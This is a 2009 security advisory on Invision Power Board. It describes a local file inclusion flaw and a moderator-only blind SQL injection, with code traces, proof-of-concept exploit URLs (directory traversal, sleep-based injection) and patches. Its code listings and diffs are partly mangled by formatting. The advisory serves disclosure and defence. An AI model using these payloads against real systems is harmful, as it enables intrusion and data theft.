Invision Power Board <= 3.0.4 Local PHP File Inclusion and SQL Injection

2009-12-04T00:00:00
ID SECURITYVULNS:DOC:22869
Type securityvulns
Reporter Securityvulns
Modified 2009-12-04T00:00:00

Description

============================================= - Release date: December 4th, 2009 - Discovered by: Dawid Golunski - Severity: Moderately High =============================================

I. VULNERABILITY

Invision Power Board <= 3.0.4 Local PHP File Inclusion and SQL Injection Invision Power Board <= 2.3.6 SQL Injection

II. BACKGROUND

Invision Power Board (IPB) is a professional forum system that has
been built from the ground up with speed and security in mind, taking advantage
of object oriented code, highly-optimized SQL queries, and the fast PHP engine. A comprehensive administration control panel is included to help you
keep your board running smoothly. Moderators will also enjoy the full range of
options available to them via built-in tools and moderators control panel.
Members will appreciate the ability to subscribe to topics, send private
messages, and perform a host of other options through the user control panel.

III. INTRODUCTION

For a good understanding of the vulnerabilities it is necessary to be
familiar with the way IPB handles input data. Below is a quick trace of input validation process. The code snippets come from IPB version 3.0.4.

line | file: admin/sources/base/ipsRegistry.php 352 | static public function init() 353 | { ... | ... | 462 | IPSLib::cleanGlobals( $_GET ); 463 | IPSLib::cleanGlobals( $_POST ); 464 | IPSLib::cleanGlobals( $_COOKIE ); 465 | IPSLib::cleanGlobals( $_REQUEST ); 466 | 467 | # GET first 468 | $input = IPSLib::parseIncomingRecursively( $_GET, array() ); 469 | 470 | # Then overwrite with POST 471 | self::$request = IPSLib::parseIncomingRecursively( $_POST,
$input ); ... |

The init() function cleans the input data passed via methods like GET,
POST or others at the start of each request to the forum before any of the input variables are processed.

Let's look into sanitization performed by cleanGlobals function:

line | file: admin/sources/base/core.php 1644 | static public function cleanGlobals( &$data, $iteration = 0 ) 1645 | { ... | 1654 | foreach( $data as $k => $v ) 1655 | { 1656 | if ( is_array( $v ) ) 1657 | { 1658 | self::cleanGlobals( $data[ $k ], ++ $iteration ); 1659 | } 1660 | else 1661 | { 1662 | # Null byte characters 1663 | $v = str_replace( chr('0') , '', $v ); 1664 | $v = str_replace( "\0" , '', $v ); 1665 | $v = str_replace( "\x00" , '', $v ); 1666 | $v = str_replace( '%00' , '', $v ); 1667 | 1668 | # File traversal 1669 | $v = str_replace( "../", "../",
$v ); 1670 | 1671 | $data[ $k ] = $v; 1672 | } 1673 | } 1674 | }

As we can see the function removes null characters and "../" sequences
from incoming data to prevent unwanted file inclusion.

The next function that affects the input is:

line | file: admin/sources/base/core.php 1573 | static public function parseIncomingRecursively( &$data,
$input=array(), $iteration = 0 ) 1574 | { ... | 1583 | foreach( $data as $k => $v ) 1584 | { 1585 | if ( is_array( $v ) ) 1586 | { 1587 | $input[ $k ] =
self::parseIncomingRecursively( $data[ $k ], array(), ++$iteration ); 1588 | } 1589 | else 1590 | { 1591 | $k = IPSText::parseCleanKey( $k ); 1592 | $v = IPSText::parseCleanValue( $v,
false ); 1593 | 1594 | $input[ $k ] = $v; 1595 | } 1596 | } 1597 | 1598 | return $input; 1599 | }

The purpose of this function is to clean the key/value pairs of an array passed to it with help of the parseCleanKey and parseCleanValue
functions. The first one can be skipped as neither of the attacks described later on
require special characters inside variable names. The other looks as follows:

line | file: admin/sources/base/core.php 4100 | static public function parseCleanValue( $val, $postParse=true ) 4101 | { 4102 | if ( $val == "" ) 4103 | { 4104 | return ""; 4105 | } 4106 | 4107 | $val = str_replace( " ", " ",
IPSText::stripslashes($val) ); 4108 | 4109 | # Convert all carriage return combos 4110 | $val = str_replace( array( "\r\n", "\n\r", "\r" ), "\n",
$val ); 4111 | 4112 | $val = str_replace( "&", "&amp;", $val ); 4113 | $val = str_replace( "<!--", "<!--", $val ); 4114 | $val = str_replace( "-->", "-->", $val ); 4115 | $val = str_ireplace( "<script", "<script", $val ); 4116 | $val = str_replace( ">", "&gt;", $val ); 4117 | $val = str_replace( "<", "&lt;", $val ); 4118 | $val = str_replace( '"', "&quot;", $val ); 4119 | $val = str_replace( "\n", "<br />", $val ); // Convert
literal newlines 4120 | $val = str_replace( "$", "$", $val ); 4121 | $val = str_replace( "!", "!", $val ); 4122 | $val = str_replace( "'", "'", $val ); // IMPORTANT: It
helps to increase sql query safety. 4123 | 4124 | if ( IPS_ALLOW_UNICODE ) ... |

The function cleans input data from characters used typically in XSS
and SQL attacks.

The resulting array containing sanitized input data from GET/POST
methods is stored in ipsRegistry::$request array (as we can see on the first
code listing).

IV. LOCAL FILE INCLUSION VULNERABILITY

  1. Description.

It is possible to include an arbitrary php file stored on the server
in any location (accessible by the php/web server process) by exploiting the following code of IPB 3.0.4:

line | file: admin/sources/base/ipsController.php 142 |public function getCommand( ipsRegistry $registry ) 143 |{ 144 | $NOW = IPSDebug::getMemoryDebugFlag(); 145 | 146 | $module = ipsRegistry::$current_module; 147 | $section = ipsRegistry::$current_section; 148 | $filepath = IPSLib::getAppDir( IPS_APP_COMPONENT ) .
'/' . self::$modules_dir . '/' . $module . '/'; 149 | 150 | / Got a section? / 151 | if ( ! $section ) 152 | { 153 | if ( file_exists( $filepath .
'defaultSection.php' ) ) 154 | { 155 | $DEFAULT_SECTION = ''; 156 | require( $filepath .
'defaultSection.php' ); 157 | 158 | if ( $DEFAULT_SECTION ) 159 | { 160 | $section = $DEFAULT_SECTION; 161 | } 162 | } 163 | } 164 | 165 | $classname = self::$class_dir . '
' .
IPS_APP_COMPONENT . '' . $module . '' . $section; 166 | 167 | if ( file_exists( $filepath . 'manualResolver.php' ) ) 168 | { 169 | require_once( $filepath . 'manualResolver.php' ); 170 | $classname = self::$class_dir . '' .
IPS_APP_COMPONENT . '
' . $module . '_manualResolver'; 171 | } 172 | else if ( file_exists( $filepath . $section . '.php' ) ) 173 | { 174 | require_once( $filepath . $section . '.php' ); 175 | } ... |

The require_once function on line 174 uses a variable $section to
create a path to a php file that is to be included. The variable is assigned the following value:

line | file: admin/sources/base/ipsRegistry.php 1654 | ipsRegistry::$current_section = ( ipsRegistry:: $request['section'] ) ? ipsRegistry::$request['section'] : '';

which as we know from the introduction comes from a user supplied
variable (via GET or POST method).

Although the whole $request array has been filtered out to prevent
directory traversal and arbitrary file inclusion it is possible to evade these measures due to a bug in a function implementing the "friendly URLs"
feature introduced in version 3.0.0 of the IPB forum.

line | file: admin/sources/base/ipsRegistry.php 1188 | private static function _fUrlInit() 1189 | { ... | 1195 | if ( ipsRegistry::$settings['use_friendly_urls'] ) 1196 | { ... | ... | 1235 | $uri = $_SERVER['REQUEST_URI'] ?
$_SERVER['REQUEST_URI'] : @getenv('REQUEST_URI'); 1236 | 1237 | $_toTest = $uri; //( $qs ) ? $qs : $uri; ... | ... | ... | 1306 | //----------------------------------------- 1307 | // If using query string furl, extract any 1308 | // secondary query string. 1309 | // Ex: http://localhost/index.php?/path/file.html? key=value 1310 | // Will pull the key=value properly 1311 | //----------------------------------------- 1312 | 1313 | if( substr_count( $_toTest, '?' ) > 1 ) 1314 | { 1315 | $_secondQueryString = substr( $_toTest,
strrpos( $_toTest, '?' ) + 1 ); 1316 | $_secondParams = explode( '&',
$_secondQueryString ); 1317 | 1318 | if( count($_secondParams) ) 1319 | { 1320 | foreach( $_secondParams as $_param ) 1321 | { 1322 | list( $k, $v ) = explode( '=', $_param ); 1323 | 1324 | $k = IPSText::parseCleanKey( $k ); 1325 | $v = IPSText::parseCleanValue( $v ); 1326 | 1327 | $_GET[ $k ] = $v; 1328 | $_REQUEST[ $k ] = $v; 1329 | $_urlBits[ $k ] = $v; 1330 | 1331 | ipsRegistry::$request[ $k ] = $v; 1332 | } 1333 | } 1334 | } 1335 | } ... |

The above code allows for a secondary query string from which additional variables are retrieved and saved in the $request array as well as
$_GET and $_REQUEST globals. It takes a query string from a previously not cleaned global: $_SERVER['REQUEST_URI'] and fails to check if the variables supplied
in the request URI string already exist in any of the arrays as well as to call cleanGlobals function to sanitize the values.

A variable named 'section' can be passed in the secondary query string
in order to bypass filtration of "../" and %00 sequences, effectively
allowing to traverse directories and include any given php file within the system
leading to a local file inclusion attack.

Note: Omitting '.php' extension (to include arbitrary file like /etc/ passwd) by using a NULL character will not be possible in this case as a combination of %00 in the REQUEST_URI will not get decoded by the web
server automatically and there is no urldecode function to decode it before the require_once call either.

Versions older than 3.0.4 have a different implementation of the
friendly url feature, but are also vulnerable in the same way.

  1. Proof of concept.

This issue is trivial to exploit with a web browser and a known
location of a php file residing on the target system. Authorisation is not required.

For example, the following URL in case of IPB 3.0.4:

http://server-with-ipb-forum-3.0.4.com/forum/index.php?app=core&module=global&section=register&any= ? section = ../../../../../../../../../../../../../../../../../../../../../../../../../../tmp /inc

or the following in case of versions older than IPB 3.0.4:

http://server-with-ipb-forum-3.0.[0-3].com/forum/index.php? app=core&module=global&section=register/register/ page__section__ ../../../../../../../../../../../../../../../../../../../../../tmp/inc__

will result in including /tmp/inc.php file and executing code it
contains.

V. SQL INJECTION VULNERABILITY

  1. Description.

An SQL Injection attack is possible due to an insufficient
sanitization in the following function:

line | file: admin/applications/forums/sources/classes/moderate.php 1820 | /* 1821 | * Create 'where' clause for SQL forum pruning 1822 | * 1823 | * @access public 1824 | * @return boolean 1825 | / 1826 | public function sqlPruneCreate( $forum_id, $starter_id="",
$topic_state="", $post_min="", $date_exp="", $ignore_pin="" ) 1827 | { 1828 | $sql = 'forum_id=' . intval($forum_id); 1829 | 1830 | if ( intval($date_exp) ) 1831 | { 1832 | $sql .= " AND last_post < {$date_exp}"; 1833 | } 1834 | 1835 | if ( intval($starter_id) ) 1836 | { 1837 | $sql .= " AND starter_id={$starter_id}"; 1838 | 1839 | } 1840 | 1841 | if ( intval($post_min) ) 1842 | { 1843 | $sql .= " AND posts < {$post_min}"; 1844 | } 1845 | 1846 | if ($topic_state != 'all') 1847 | { 1848 | if ($topic_state) 1849 | { 1850 | $sql .= " AND state='{$topic_state}'"; 1851 | } 1852 | } 1853 | 1854 | if ( $ignore_pin != "" ) 1855 | { 1856 | $sql .= " AND pinned=0"; 1857 | } 1858 | 1859 | 1860 | return $sql; 1861 | }

All of the IF statements with intval() are to ensure that the
arguments passed to the function are numeric before they are placed inside a WHERE
clause of a query. Because of the way that intval() works, it is possible to fool the
function by passing a string like: '1 OR sleep(5) '. In such case intval() will
return a value of 1 thus satisfying the IF conditions and causing the string to
be placed inside the query.

The sqlPruneCreate function is used 2 times in a code that performs some moderator's tasks. One invocation of it can be found in:

line | file: admin/applications/forums/modules_public/moderate/ moderate.php 2323 | protected function _pruneMove() 2324 | { 2325 | //----------------------------------------- 2326 | // Check 2327 | //----------------------------------------- 2328 | 2329 | $this->_resetModerator( $this->topic['forum_id'] ); 2330 | 2331 | $this->_genericPermissionCheck( 'mass_move' ); 2332 | 2333 | ///----------------------------------------- 2334 | // SET UP 2335 | //----------------------------------------- 2336 | 2337 | $pergo = intval( $this->request['pergo'] ) ?
intval( $this->request['pergo'] ) : 50; 2338 | $max = intval( $this->request['max'] ); 2339 | $current = intval($this->request['current']); 2340 | $maxdone = $pergo + $current; 2341 | $tid_array = array(); 2342 | $starter = trim( $this->request['starter'] ); 2343 | $state = trim( $this->request['state'] ); 2344 | $posts = intval( $this->request['posts'] ); 2345 | $dateline = intval( $this->request['dateline'] ); 2346 | $source = $this->forum['id']; 2347 | $moveto = intval($this->request['df']); 2348 | $date = 0; 2349 | $ignore_pin = intval( $this->request['ignore_pin'] ); 2350 | 2351 | if( $dateline ) 2352 | { 2353 | $date = time() - $dateline6060*24; 2354 | } 2355 | 2356 | //----------------------------------------- 2357 | // Carry on... 2358 | //----------------------------------------- 2359 | 2360 | $dbPruneWhere = $this->modLibrary->sqlPruneCreate( $this- >forum['id'], $starter, $state, $posts, $date, $ignore_pin ); 2361 | 2362 | $this->DB->build( array( 2363 | 'select' => 'tid', 2364 | 'from' => 'topics', 2365 | 'where' => $dbPruneWhere, 2366 | 'limit' => array( 0, $pergo ), 2367 | ) ); 2368 | $batch = $this->DB->execute(); ... |

As we can see there are 2 variables that come from a user and are not converted to a number before they are passed to the sqlPruneCreate
function: $starter and $state. The second variable cannot be used in SQL Injection as it will be
treated as a string and embraced with quotes by sqlPruneCreate. A string passed in
$starter variable will be placed unquoted in the query as long as the first
character is a number allowing a logged in moderator to perform an SQL Injection
attack.

The vulnerability is somewhat tricky to exploit as there are quite a few restrictions that make creating a successful sql attack vector
difficult. Only the WHERE statement can be controlled, quotes are filtered, and UNION
or sub selects are prohibited too (at least in case of a MySQL driver). To
top it all, the results of the query are not outputted to the browser so it
will have to be a blind injection. Nevertheless a crafty attacker might issue a series of requests that
might allow him to gain some information about the target system or even read files from the disk depending on permissions granted to the db account
that is used by the forum. Other attacks might also be possible when a
database engine other than MySQL is used.

  1. Proof of concept.

If a logged in user with moderator privileges requests an URL like:

http://server-with-ipb-3.x.x-forum.com/forum/?app=forums&module=moderate&section=moderate&f=1&do=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(15)%20--%20skip%20&auth_key=c4276b77602767228faa9760eb4a5abd

in case of IPB 3.x, or:

http://server-with-ipb-2.x.x-forum.com/forum/?act=mod&f=1&CODE=prune_move&df=3&pergo=50&dateline=0&state=open&ignore_pin=1&max=0&starter=1%20AND%20starter_id=1%20OR%20substr(version(),1,1)=5%20AND%20sleep(16)%20--%20skip%20&auth_key=040c4a6e768d626b4c05a4bb0fbf315c

in case of IPB 2.x.

A query similar to:

SELECT tid FROM ibftopics WHERE forum_id=1 AND starter_id=1 AND
starter_id=1 OR substr(version(),1,1)=5 AND sleep(15) -- skip AND state='open' AND
pinned=0 LIMIT 0,50

will be run against the database. The query will check if a major version of MySQL server is equal to 5.
If that is the case a sleep function will be run which will slow down the page
load by 15 seconds thus revealing the result of the query.

For this to work a valid auth_key needs to be supplied (that can be
obtained by going to any of the forums, clicking Forum Management button and
selecting Prune/Mass Move feature). Source ($f) and Destination ($df) forums
parameters in the URL might also need adjusting.

VI. BUSINESS IMPACT

The Local PHP File Inclusion vulnerability can be especially dangerous
in a shared hosting environment. Even if server has been configured to
prevent users from reading each other's document roots (web server/PHP process running in a context of the site's owner), an attacker that has an
account on the same server as the targeted site could use the vulnerability to
place a php file in a shared directory like /tmp and cause the IPB forum on
the target to execute his code thus gaining access equivalent to the owner of the website.

The SQL Injection vulnerability is only a threat in case there are
moderators on the forum that cannot be fully trusted or if an attacker manages to steal/guess their passwords. Possible risks in case of a successful exploitation of this flaw have been described in the previous section.

VII. SYSTEMS AFFECTED

All of the IPB versions of the 3.x series (including the newest
release of 3.0.4) are affected by the Local PHP File Inclusion and SQL Injection vulnerabilities.

Probably most if not all of IPB releases of the 2.x series (including
2.3.6) are affected by the SQL Injection vulnerability.

VIII. SOLUTION

Vendor has been informed about the vulnerabilities and should be
releasing patches soon.

I attach 2 patches for the current versions of both 2.x and 3.x series
that can be used as a temporary solution.

IPB 3.0.4 patch:

diff -Nprub ipb304/admin/applications/forums/sources/classes/ moderate.php ipb304-patched/admin/applications/forums/sources/classes/ moderate.php --- ipb304/admin/applications/forums/sources/classes/moderate.php
2009-10-08 16:34:50.000000000 +0100 +++ ipb304-patched/admin/applications/forums/sources/classes/ moderate.php 2009-11-29 01:01:49.000000000 +0000 @@ -1829,18 +1829,18 @@ class moderatorLibrary

            if &#40; intval&#40;$date_exp&#41; &#41;
            {
  • $sql .= " AND last_post < {$date_exp}";
  • $sql .= " AND last_post < ". intval($date_exp); }
            if &#40; intval&#40;$starter_id&#41; &#41;
            {
    
    • $sql .= " AND starter_id={$starter_id}";
    • $sql .= " AND starter_id=". intval($starter_id);
          }
      
          if &#40; intval&#40;$post_min&#41; &#41;
          {
      
      • $sql .= " AND posts < {$post_min}";
      • $sql .= " AND posts < ". intval($post_min); }
        if &#40;$topic_state != &#39;all&#39;&#41;
        

        diff -Nprub ipb304/admin/sources/base/ipsRegistry.php ipb304-patched/ admin/sources/base/ipsRegistry.php --- ipb304/admin/sources/base/ipsRegistry.php 2009-10-08
        16:34:24.000000000 +0100 +++ ipb304-patched/admin/sources/base/ipsRegistry.php 2009-11-29
        00:57:13.000000000 +0000 @@ -479,6 +479,9 @@ class ipsRegistry

        /* First pass of app set up. Needs to be BEFORE caches and member
        

        are set up */ self::_fUrlInit(); + IPSLib::cleanGlobals( $_GET ); + IPSLib::cleanGlobals( $_REQUEST ); + IPSLib::cleanGlobals( self::$request );

        self::_manageIncomingURLs&#40;&#41;;
        

IPB 2.3.6 patch:

diff -Nprub ipb236/sources/lib/func_mod.php ipb236-patched/sources/lib/ func_mod.php --- ipb236/sources/lib/func_mod.php 2009-11-29 01:10:13.000000000 +0000 +++ ipb236-patched/sources/lib/func_mod.php 2009-11-29
01:19:23.000000000 +0000 @@ -1219,18 +1219,18 @@ class func_mod

            if &#40; intval&#40;$date_exp&#41; &#41;
            {
  • $sql .= " AND last_post < $date_exp";
  • $sql .= " AND last_post < ". intval($date_exp); }
            if &#40; intval&#40;$starter_id&#41; &#41;
            {
    
    • $sql .= " AND starter_id=$starter_id";
    • $sql .= " AND starter_id=". intval($starter_id);
          }
      
          if &#40; intval&#40;$post_min&#41; &#41;
          {
      
      • $sql .= " AND posts < $post_min";
      • $sql .= " AND posts < ". intval($post_min); }
        if &#40;$topic_state != &#39;all&#39;&#41;
        

Apply by going to your forum's directory and running the command: patch -p1 < path_to_the_patch

IX. REFERENCES

http://www.invisionpower.com/products/board/

X. CREDITS

The vulnerabilities have been discovered by Dawid Golunski golunski (at) onet (dot) eu

XI. REVISION HISTORY

December 4th, 2009: Initial release

XII. LEGAL NOTICES

The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this
information.